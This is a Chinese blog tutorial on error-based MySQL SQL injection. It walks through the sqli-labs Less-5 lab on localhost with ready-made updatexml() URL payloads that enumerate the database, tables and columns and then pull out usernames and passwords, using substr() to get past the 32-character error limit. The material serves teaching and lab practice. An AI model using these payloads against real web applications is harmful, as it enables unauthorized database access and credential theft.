SQL注入(二)
SQL注入(二)——报错注入
概念
报错注入是SQL注入的一种,页面上没有显示位,但是会输出SQL语句执行错误信息。比如 mysql_error()函数的报错信息。
盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利 用一些方法进行判断或者尝试,这个过程称之为盲注。
基本原理
利用数据库的某些机制,人为制造报错的条件,可以使数据库报错。
此时可以构造一些特殊的条件,导致查询结果能够出现在报错的语句中。这时候我们就能通过报错的语句来获取数据库的信息。
适合使用报错注入的场景
- 联合查询受限
- 没有合适的数据返回点
- 页面会发生报错,能返回错误信息
报错注入的分类
- xpath语法错误
- bigint等数据类型溢出
- count()+rand()+group_by()导致主键重复
- 空间数据类型函数错误
xpath语法错误
mysql在使用如updatexml() 这类与xml有关的函数时,如果传入的参数不满足xpath语法的要求,就会发生报错。
报错信息会暴露出参数中sql语句的查询结果
常见的两个用于进行报错注入的函数:
- updatexml( xml_document, xpath_string, new_value)
- 第1、第3个参数都无关紧要,主要是第2个参数。xpath_string 要求是一个符合xpath语法的字符串,不满足要求就会发生报错。(第一个参数是xml的内容,第二个是需要update的位置xpath路径,第三个是更新后的内容)
- extractvalue(xml_document,Xpath_string)
- 与上面一样,xpath_string 是符合xpath语法要求的参数,否则就会报错。
报错注入分析流程
- 判断是否存在注入
- 判断注入类型
- 获取数据库名
- 获取数据库表名
- 获取表中的字段
- 获取字段中的记录
判断是否存在注入
1 | http://127.0.0.1/sqli/Less-5/?id=1%27 |
判断注入类型
1 | http://127.0.0.1/sqli/Less-5/?id=1' and 1=1%23 |
1 | http://127.0.0.1/sqli/Less-5/?id=1' and 1=2%23 |
判断出注入类型涉及到了后续的注入过程中需不需要闭合单引号(’),通过“1’ and 1=1#”和“1’ and 1=2#”进行判断,如果页面有不同的变化,则说明是字符型的注入,因为字符型的参数是需要引号引起来的。
获取数据库名
1 | http://127.0.0.1/sqli/Less-5/?id=1' and |
假如后台sql语句为
1 | select * from users where id='$id‘ |
当传入上面的URL后,此语句会被拼接为(下面不再重复这部分)
1 | select * from users where id='1' and updatexml(1,concat(0x7e,database(),0x7e),1)#' |
获取数据库表名
1 | http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23 |
获取表中的字段
1 | http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23 |
获取字段中的记录
1 | http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23 |
注:xpath报错仅会报错32个字符
可以使用substr()截取字符串
1 | http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,31),0x7e),1)%23 |
1 | http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,31),0x7e),1)%23 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Enderman_1's blog!